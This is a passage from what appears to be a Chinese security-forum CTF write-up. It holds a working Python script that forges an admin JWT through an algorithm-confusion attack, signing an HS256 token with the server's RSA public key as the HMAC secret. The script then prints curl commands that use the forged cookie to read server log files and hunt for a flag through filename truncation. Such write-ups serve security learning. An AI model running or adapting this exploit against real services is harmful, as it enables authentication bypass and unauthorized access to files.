xaEZCYejT8uOYX/QIWQLj7/jAhj/HafzkyWfTaFhoubbpBkY5pWTO3gANvPUVMZ3
ytz0VAY57/G20BKS6A36DB4qOqDB3Hzx7Tt3+GhPvOK++7AIJ1xgGFEfueYV5RyM
DZ+NizQLLjpV394lHQIDAQAB
-----END PUBLIC KEY-----
"""
 
def base64url_encode(data):
    """Base64 URL编码"""
    if isinstance(data, str):
        data = data.encode('utf-8')
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode('utf-8')
 
def forge_jwt(username="admin", priviledge="File-Priviledged-User"):
    """伪造JWT token"""
    # Header - 使用HS256算法
    header = {"alg": "HS256", "typ": "JWT"}
     
    # Payload - 必须包含iat字段
    payload = {
        "username": username,
        "priviledge": priviledge,
        "iat": int(time.time())
    }
     
    # 编码
    header_b64 = base64url_encode(json.dumps(header, separators=(',', ':')))
    payload_b64 = base64url_encode(json.dumps(payload, separators=(',', ':')))
     
    # 签名消息
    message = f"{header_b64}.{payload_b64}"
     
    # 使用公钥作为HMAC密钥(关键:公钥必须以\n结尾)
    signature = hmac.new(
        PUBLICKEY.encode('utf-8'),
        message.encode('utf-8'),
        hashlib.sha256
    ).digest()
     
    sig_b64 = base64url_encode(signature)
     
    return f"{message}.{sig_b64}"
 
if __name__ == "__main__":
    print("=" * 60)
    print("  JWT算法混淆攻击 - 伪造File-Priviledged-User权限")
    print("=" * 60)
     
    token = forge_jwt()
     
    print(f"\n[+] 伪造的JWT Token:")
    print(token)
     
    print(f"\n[+] 测试命令 (需要替换TARGET_URL):")
    print(f"""
# 测试主页(应该返回200)
curl "TARGET_URL/" -H "Cookie: session={token}" -k
 
# 读取system.log
curl "TARGET_URL/checkfile?file=system.log" -H "Cookie: session={token}" -k
 
# 读取flag(需要找到正确的文件名)
# 由于路径截断,输入长度>10会截断为前10字符
# 例如:flagXXXXXX.log -> flagXXXXXX (读取./flagXXXXXX)
""")
     
    # 保存token
    with open("forged_token.txt", "w") as f:
        f.write(token)
    print(f"[+] Token已保存到 forged_token.txt")

[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!

最后于 4天前 被Fulucky0编辑 ,原因: PWN之后的目录有问题,进行了修正
收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回